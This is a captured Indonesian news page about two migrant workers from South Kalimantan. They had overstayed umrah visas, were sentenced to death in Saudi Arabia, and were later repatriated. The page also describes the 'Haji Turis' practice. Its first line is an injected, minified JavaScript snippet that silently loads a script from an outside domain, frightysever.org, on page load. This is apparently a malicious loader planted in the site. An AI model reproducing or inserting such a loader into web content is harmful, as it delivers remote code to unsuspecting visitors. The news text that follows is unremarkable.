(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dua Tenaga Kerja Indonesia (TKI) asal Kalsel yang tersandung kasus hukum di Arab Saudi berhasil dipulangkan Pemerintah RI. Sabtu (14/10) malam, kedua TKI yang sebelumnya sempat divonis hukuman mati karena kasus pembunuhan tersebut tiba di Banua. Kedua TKI itu; Aminah binti H Budi asal Kabupaten Tapin dan Darmawati binti Tarjani asal Kabupaten Banjar.
Keduanya merupakan TKI ilegal. Termasuk ilegal lantaran keduanya berangkat menggunakan paspor umrah ke Arab Saudi pada tahun 1998. Saat visa umrah berakhir, keduanya tak kembali ke tanah air dan memilih tetap tinggal di Arab Saudi untuk bekerja.
‘Haji Turis’, begitu sebutan lazim untuk TKI yang bekerja di luar jalur legal pemerintah ini.
Beberapa tahun bekerja di Arab Saudi, keduanya tersandung perkara hukum karena dituding membunuh majikan. Keduanya sempat divonis hukuman mati. Untungnya di tahun 2014, pemerintah Indonesia berhasil melobi dan membuat hukuman keduanya berkurang menjadi tiga tahun kurungan dan 300 kali cambuk.
Aminah dan Darmawati hanya contoh kecil warga Banua yang nekat menjadi TKI dengan modus ‘Haji Turis’. Istilah Haji Turis ini sendiri pernah tenar di kalangan warga Banua tempo dulu hingga era tahun 2000-an, dan tak sedikit warga Banua yang melakoninya.
Istilah Haji Turis disematkan untuk jemaah haji yang berangkat ke Timur Tengah di luar aturan pemerintah. Mereka umumnya berangkat menggunakan passport umroh dengan masa berlaku hanya satu bulan. Namun setelah umroh tunai, para jemaah tidak langsung pulang. Mereka sengaja bertahan di Arab Saudi menunggu musim haji tiba. Sembari itu, warga asal Banua bekerja di Arab Saudi. Menjadi pembantu rumah tangga dan supir, yang paling banyak dilakoni. Meski untuk itu, mereka harus kucing-kucingan dengan aparat kepolisian Arab Saudi.
Pengalaman kucing-kucingan dengan aparat kepolisian Arab Saudi selama menunggu proses pelaksanaan rukun dan syarat haji diungkapkan H Hilmani. Menurut warga Desa Sungai Rangas Martapura Barat, Kabupaten Banjar yang behaji turis pada tahun 1998 ini, selama menunggu pelaksanaan haji tiba, ia dan beberapa warga lain ditampung di rumah majikan tempat orangtuanya bekerja.
KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah Kabupaten Banjar melaksanakan audiensi dengan Asisten Deputi Koordinasi Pelaksanaan Kebijakan dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lambaian tangan menyertai keberangkatan 280 jemaah haji Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jaksa Penuntut Umum (JPU) Kejaksaan Negeri (Kejari) Balangan menyatakan Arbainsyah, terdakwa kasus… Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Agama (Kemenag) geram dengan cara yang diambil manajemen Garuda Indonesia terkait… Read More
This website uses cookies.